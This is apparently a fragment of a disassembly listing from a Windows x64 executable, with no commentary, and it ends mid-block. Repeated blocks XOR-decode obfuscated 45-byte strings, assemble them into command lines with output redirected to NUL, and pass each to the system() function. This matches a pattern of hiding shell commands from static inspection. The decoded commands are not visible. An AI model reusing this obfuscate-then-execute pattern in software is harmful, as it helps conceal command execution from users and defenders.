call fcn.140022f30
nop
lea rcx, [rbp + 0xca0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xc80]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xd40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xd60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4ce8]
lea rcx, [rsp + 0x3c]
call fcn.14001ee20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000b4a5
mov r8d, ebx
cmp r14d, 2
jl 0x14000b463
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b370
cmp r8d, 0x2d
jge 0x14000b4a5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000b470
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xd80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xdc0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xde0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xde0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xdc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xda0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xd80]
call fcn.140022f30
nop
lea rcx, [rbp + 0xd60]
call fcn.140022f30
nop
lea rcx, [rbp + 0xd40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xe00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xe20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4d18]
lea rcx, [rsp + 0x3d]
call fcn.14001ee60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000b6f5
mov r8d, ebx
cmp r14d, 2
jl 0x14000b6b3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b5c0
cmp r8d, 0x2d
jge 0x14000b6f5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000b6c0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xe40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xe60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xea0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xea0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xe80]
call fcn.140022f30
nop
lea rcx, [rbp + 0xe60]
call fcn.140022f30
nop
lea rcx, [rbp + 0xe40]
call fcn.140022f30
nop
lea rcx, [rbp + 0xe20]
call fcn.140022f30
nop
lea rcx, [rbp + 0xe00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xec0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xee0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4d48]
lea rcx, [rsp + 0x3e]
call fcn.14001eea0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000b945
mov r8d, ebx
cmp r14d, 2
jl 0x14000b903
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b810
cmp r8d, 0x2d
jge 0x14000b945
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000b910
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xf00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xf20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xf40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xf60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf60]
call fcn.140022f30
nop
lea rcx, [rbp + 0xf40]
call fcn.140022f30
nop
lea rcx, [rbp + 0xf20]
call fcn.140022f30
nop
lea rcx, [rbp + 0xf00]
call fcn.140022f30
nop
lea rcx, [rbp + 0xee0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xec0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0xf80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0xfa0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4d78]
lea rcx, [rsp + 0x3f]
call fcn.14001eee0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000bb95
mov r8d, ebx
cmp r14d, 2
jl 0x14000bb53
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000ba60
cmp r8d, 0x2d
jge 0x14000bb95
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000bb60
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0xfc0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1000]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1020]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1020]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1000]
call fcn.140022f30
nop
lea rcx, [rbp + 0xfe0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xfc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xfa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0xf80]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1040]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1060]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4da8]
lea rcx, [rsp + 0x40]
call fcn.14001ef20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000bde5
mov r8d, ebx
cmp r14d, 2
jl 0x14000bda3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000bcb0
cmp r8d, 0x2d
jge 0x14000bde5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000bdb0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1080]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x10a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x10c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x10e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x10e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x10c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x10a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1080]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1060]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1040]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1100]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1120]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4dd8]
lea rcx, [rsp + 0x41]
call fcn.14001ef60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000c035
mov r8d, ebx
cmp r14d, 2
jl 0x14000bff3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000bf00
cmp r8d, 0x2d
jge 0x14000c035
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000c000
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1140]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1160]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1180]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x11a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x11a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1180]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1160]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1140]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1120]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1100]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x11c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x11e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4e08]
lea rcx, [rsp + 0x42]
call fcn.14001efa0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000c285
mov r8d, ebx
cmp r14d, 2
jl 0x14000c243
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000c150
cmp r8d, 0x2d
jge 0x14000c285
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000c250
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1200]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1220]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1240]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1260]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1260]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1240]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1220]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1200]
call fcn.140022f30
nop
lea rcx, [rbp + 0x11e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x11c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1280]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x12a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4e38]
lea rcx, [rsp + 0x43]
call fcn.14001efe0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000c4d5
mov r8d, ebx
cmp r14d, 2
jl 0x14000c493
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000c3a0
cmp r8d, 0x2d
jge 0x14000c4d5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000c4a0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x12c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x12e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1300]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1320]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1320]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1300]
call fcn.140022f30
nop
lea rcx, [rbp + 0x12e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x12c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x12a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1280]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1340]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1360]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4e68]
lea rcx, [rsp + 0x44]
call fcn.14001f020
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000c725
mov r8d, ebx
cmp r14d, 2
jl 0x14000c6e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000c5f0
cmp r8d, 0x2d
jge 0x14000c725
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000c6f0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1380]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x13a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
